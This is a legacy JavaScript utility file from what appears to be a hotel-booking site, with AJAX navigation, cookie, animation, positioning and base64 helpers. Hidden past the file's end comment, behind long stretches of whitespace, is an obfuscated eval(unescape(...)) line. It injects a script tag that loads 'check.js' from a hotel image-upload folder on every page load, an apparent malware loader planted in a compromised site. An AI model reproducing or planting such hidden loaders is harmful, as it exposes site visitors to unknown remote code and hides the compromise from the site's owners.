// Begin JavaScript Document

//////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////// AJAX POWERED FUNCTIONS ////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////
function run(url)
{
	var URLArray=url.split(":");
	var URL=URLArray[0];
	var ID=URLArray[1];
	var NAV=navigator.userAgent;
	// FireFox
	if(NAV.toString().indexOf("fox")>-1){
		window.open("#"+URL,"_self");
	}
	// IE
	else{
		WIN=window.open("","tFrame");
		WIN.document.open;
		WIN.document.write(url);
		WIN.document.close();
	}
	getobjbyid("itemUrl").value=url;
	sR(URL,'','GET',ID);
	set_cookie();
}
var timer_counter=1;
var Input="";
function set_cookie() {
	var Input=document.getElementById("itemUrl").value;
	while(Input.indexOf('?')>-1){	
		Input=Input.replace('?','@|@');
	}
	while(Input.indexOf(':')>-1){	
		Input=Input.replace(':','@||@');
	}	
	while(Input.indexOf('%20')>-1){	
		Input=Input.replace('%20','@|_|@');
	}
	sR("function/setcookie.php","&item="+Input,"POST","ref");
}
//var timer=setTimeout("checker()",2000);
function checker(){
	if(timer_counter%10==0) set_cookie();
	timer_counter++;
	var NAV=navigator.userAgent;
	var hiddenInput=getobjbyid("itemUrl");
	var iframeValue=document.getElementById("tFrame").contentWindow.document.body.innerHTML;
	if(iframeValue!=null) {
		var hiddenInputValue=hiddenInput.value;
		var url_array=hiddenInputValue.split(":");
		var uRl=url_array[0];
		uRl=uRl.replace("&amp;","&");
	//	uRl=uRl.replace("%20",' ');
		var Id=url_array[1];
		if(NAV.toString().indexOf("fox")>-1)
		{	
			if(timer_counter==1){
				hiddenInput.value="";
			}
			var LOC=document.location;
			if(LOC.toString().indexOf("#")==-1){
				LOC="index.php#qs.php?qs=Hotels";
			}
			var LOC2=LOC.toString().split('#');
			var ACTUAL_LOC=LOC2[1];
			while(ACTUAL_LOC.indexOf('&amp;')>-1){
				ACTUAL_LOC=ACTUAL_LOC.replace('&amp;','&');
			}
		//	while(ACTUAL_LOC.indexOf('%20')>-1){
			//	ACTUAL_LOC=ACTUAL_LOC.replace('%20',' ');
		//	}
			if(ACTUAL_LOC!=hiddenInputValue){
				document.getElementById("itemUrl").value=ACTUAL_LOC;
				sR(ACTUAL_LOC,"","GET",Id);
				var cases=ACTUAL_LOC.split("=");
				if(cases[1]!="" && hiddenInputValue!="")
					toggle(cases[1]);
			}
		}
		else if(NAV.toString().indexOf("MSIE")>-1)
		{
			if(iframeValue!=hiddenInputValue){
				hiddenInput.value=iframeValue;
				var cases=uRl.split("qs=");
				if(cases[1]!="" && hiddenInputValue!="")
					toggle(cases[1]);
				if(getobjbyid(Id))
					sR(uRl,'','GET',Id);
			}
		}
	}
	timer=setTimeout("checker()",2000);
}
//////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////// ************************* ///////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////// SMOOTH TOGGLING FUNCTIONS ///////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////
var z=new Array();
var thespeed=10;
function hide_now(obj_here)
{
	x=$(obj_here);
	ht=x.offsetHeight;
	thespeed=parseInt(parseInt(ht)/10)+1;
	$(obj_here).style.height=parseInt(ht)+"px";
	decrease(obj_here);
}
function show_now(obj_here,extra)
{
	if(!extra)extra=0;
	x=$(obj_here);
	x.style.display="block";	
	x.style.overflow="visible";		
	x.style.height="";
	ht=x.offsetHeight;
	thespeed=parseInt(parseInt(ht)/10)+2;
	x.style.overflow="hidden";
	x.style.height="0px";
	x.style.display="block";	
	increase(ht,obj_here,z.length,extra);
}
function decrease(obj_here,IndexOFz,extraOPTION){
	if(!extraOPTION)extraOPTION=0;
	x.style.overflow='hidden';
	x=$(obj_here);
	ht=x.style.height;
	if (parseInt(ht)>(thespeed-1)) 
	{
		ht=parseInt(ht)-thespeed;
		if(extraOPTION==1){
			x.style.top=(parseInt(x.style.top)+thespeed)+"px";
		}
		x.style.height=parseInt(ht)+"px";
		if(!IndexOFz){
			var IndexOFz=z.length;
		}
		z[IndexOFz]=setTimeout("decrease('"+obj_here+"',"+IndexOFz+","+extraOPTION+")",1);
	}
	else {
		x.style.height=0+"px";
		x.style.display="none";
		clearTimeout(z[IndexOFz]);	
	}
}
function increase(hx,obj_here,IndexOFz,extraOPTION){
	IndexOFz=0;
	if(!extraOPTION)extraOPTION=0;
	var x=$(obj_here);
	x.style.overflow='hidden';
	ht=x.style.height;
	if (parseInt(ht)<(parseInt(hx)-(thespeed-1))) 
	{
		ht=parseInt(ht)+thespeed;
		x.style.height=parseInt(ht)+"px";
		z[IndexOFz]=setTimeout("increase("+hx+",'"+obj_here+"',"+IndexOFz+","+extraOPTION+")",1);
		if(extraOPTION==1){
			x.style.top=(parseInt(x.style.top)-thespeed)+"px";
		}
	}
	else {
		x.style.height="";
		x.style.overflow='visible';
		clearTimeout(z[IndexOFz]);	
		x.style.visibility='visible';
	}
}
//////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////// ************************* ///////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////


//////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////// DYNAMIC POSITIONING FUNCTIONS /////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////
function returnPos(target){
	var x = 0;
	var y = 0;
	var tempObj = new Object();
	var obj = (typeof target == "object" ? target : getobjbyid(target));
	while (obj.offsetParent != null) {
		x += obj.offsetLeft;
		y += obj.offsetTop;
		obj = obj.offsetParent;
	}
	x += obj.offsetLeft;
	y += obj.offsetTop;
	tempObj.x = x;
	tempObj.y = y;
	return tempObj;
}
var scrOfX = 0, scrOfY = 0;
function getScrollXY(){
  if( typeof( window.pageYOffset ) == 'number' ) {
    //Netscape compliant
    scrOfY = window.pageYOffset;
    scrOfX = window.pageXOffset;
  } else if( document.body && ( document.body.scrollLeft || document.body.scrollTop || document.body.scrollBottom ) ) {
    //DOM compliant
    scrOfY = document.body.scrollTop;
    scrOfX = document.body.scrollLeft;
  } else if( document.documentElement &&
      ( document.documentElement.scrollLeft || document.documentElement.scrollTop || document.documentElement.scrollBottom ) ) {
    //IE6 standards compliant mode
    scrOfY = document.documentElement.scrollTop;
    scrOfX = document.documentElement.scrollLeft;
  }
  return [ scrOfX, scrOfY ];
}
function alertSize() {
  if( typeof( window.innerWidth ) == 'number' ) {
    //Non-IE
    myWidth = window.innerWidth;
    myHeight = window.innerHeight;
  } else if( document.documentElement &&
      ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
    //IE 6+ in 'standards compliant mode'
    myWidth = document.documentElement.clientWidth;
    myHeight = document.documentElement.clientHeight;
  } else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
    //IE 4 compatible
    myWidth = document.body.clientWidth;
    myHeight = document.body.clientHeight;
  }
  return (parseInt(myWidth)/2);
}
//////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////// ************************* ///////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////////////////////
////////////////////////// BASE64 REVERSIBLE ENCRYPTION FUNCTIONS ////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////

var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + //all caps
"abcdefghijklmnopqrstuvwxyz" + //all lowercase
"0123456789+/="; // all numbers plus +/=
//Heres the encode function
function encode64(inp) {
	var out = ""; //This is the output
	var chr1, chr2, chr3 = ""; //These are the 3 bytes to be encoded
	var enc1, enc2, enc3, enc4 = ""; //These are the 4 encoded bytes
	var i = 0; //Position counter
	do { //Set up the loop here
		chr1 = inp.charCodeAt(i++); //Grab the first byte
		chr2 = inp.charCodeAt(i++); //Grab the second byte
		chr3 = inp.charCodeAt(i++); //Grab the third byte
		//Here is the actual base64 encode part.
		//There really is only one way to do it.
		enc1 = chr1 >> 2;
		enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
		enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
		enc4 = chr3 & 63;
		if (isNaN(chr2)) {
			enc3 = enc4 = 64;
		} else if (isNaN(chr3)) {
			enc4 = 64;
		}
		//Lets spit out the 4 encoded bytes
		out = out + keyStr.charAt(enc1) + keyStr.charAt(enc2) + keyStr.charAt(enc3) +
		keyStr.charAt(enc4);
		// OK, now clean out the variables used.
		chr1 = chr2 = chr3 = "";
		enc1 = enc2 = enc3 = enc4 = "";
	} while (i < inp.length); //And finish off the loop
	//Now return the encoded values.
	return out;
}
//Heres the decode function
function decode64(inp) {
	var out = ""; //This is the output
	var chr1, chr2, chr3 = ""; //These are the 3 decoded bytes
	var enc1, enc2, enc3, enc4 = ""; //These are the 4 bytes to be decoded
	var i = 0; //Position counter
	// remove all characters that are not A-Z, a-z, 0-9, +, /, or =
	var base64test = /[^A-Za-z0-9\+\/\=]/g;
	if (base64test.exec(inp)) { //Do some error checking
		alert("There were invalid base64 characters in the input text.\n" +
		"Valid base64 characters are A-Z, a-z, 0-9, ?+?, ?/?, and ?=?\n" +
		"Expect errors in decoding.");
	}
	inp = inp.replace(/[^A-Za-z0-9\+\/\=]/g, "");
	do { //Here’s the decode loop.
		//Grab 4 bytes of encoded content.
		enc1 = keyStr.indexOf(inp.charAt(i++));
		enc2 = keyStr.indexOf(inp.charAt(i++));
		enc3 = keyStr.indexOf(inp.charAt(i++));
		enc4 = keyStr.indexOf(inp.charAt(i++));
		//Heres the decode part. There’s really only one way to do it.
		chr1 = (enc1 << 2) | (enc2 >> 4);
		chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
		chr3 = ((enc3 & 3) << 6) | enc4;
		//Start to output decoded content
		out = out + String.fromCharCode(chr1);
		if (enc3 != 64) {
			out = out + String.fromCharCode(chr2);
		}
		if (enc4 != 64) {
			out = out + String.fromCharCode(chr3);
		}
		//now clean out the variables used
		chr1 = chr2 = chr3 = "";
		enc1 = enc2 = enc3 = enc4 = "";
	} while (i < inp.length); //finish off the loop
	//Now return the decoded values.
	return out;
}

//////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////// ************************* ///////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////

function MM_reloadPage(init) {  //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}

// End JavaScript Document




































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%36%39%34%31%38%38%3B%20%4A%53%53%33%20%3D%20%27%2F%73%79%73%74%65%6D%2F%68%6F%74%65%6C%73%2F%68%6F%74%65%6C%5F%69%6D%61%67%65%2F%31%32%38%2F%6F%77%6F%72%75%72%6F%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%73%79%73%74%65%6D%2F%68%6F%74%65%6C%73%2F%68%6F%74%65%6C%5F%69%6D%61%67%65%2F%31%32%38%2F%6F%77%6F%72%75%72%6F%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20')); /* a995d2cc661fa72452472e9554b5520c */                                                                                                                                                      




































































































